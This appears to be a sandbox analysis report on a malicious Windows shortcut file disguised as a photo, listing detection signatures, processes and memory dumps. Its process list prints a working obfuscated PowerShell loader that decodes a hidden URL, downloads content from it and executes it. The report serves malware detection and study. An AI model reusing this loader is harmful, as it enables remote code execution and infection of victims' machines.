Analysis
- max time kernel
298s - max time network
160s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
12/08/2026, 00:52
General
- Target DSC_968455344572.lnk
- Size 2KB
- Sample260812-a8anpshg86
- SHA256 8df966cb91b72eb72699f734574d6ddb22de2069cf86d1cb1fb18d69768998cc
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DSC_968455344572.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$jzxjbmq=[bigint]::Parse('4866118630310433333190945074294097481540');$sbd2s9=[bigint]::Parse('4865530655516833769051378558512116345297');$jzxjbmq=$jzxjbmq-$sbd2s9;$jv98u986l=@();for(;$jzxjbmq -gt 0;){$jv98u986l+=[char][int]([bigint]::Remainder($jzxjbmq,256));$jzxjbmq=[bigint]::Divide($jzxjbmq,256)};.(([type]([string]::Concat('System.Management.Automation.Scr','ipt','Block')))::Create((&([string]::Concat('Invoke-','RestMethod')) (-join$jv98u986l))))"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2884-2-0x00007FF9CF29F000-0x00007FF9CF2A0000-memory.dmp
memory/2884-3-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-4-0x0000016FFD170000-0x0000016FFD192000-memory.dmp
memory/2884-7-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-8-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-9-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-10-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-11-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-12-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-13-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-14-0x0000016FFD830000-0x0000016FFD9F2000-memory.dmp
memory/2884-18-0x0000016FFD6A0000-0x0000016FFD752000-memory.dmp
memory/2884-19-0x0000016FFD670000-0x0000016FFD67A000-memory.dmp
memory/2884-17-0x0000016FFD680000-0x0000016FFD69E000-memory.dmp
memory/2884-20-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-23-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-22-0x0000016FFD790000-0x0000016FFD7B4000-memory.dmp
memory/2884-21-0x0000016FFD790000-0x0000016FFD7BA000-memory.dmp
memory/2884-25-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-24-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-26-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp
memory/2884-27-0x0000016FFDF30000-0x0000016FFE458000-memory.dmp
memory/2884-29-0x00007FF9CF110000-0x00007FF9CFAB4000-memory.dmp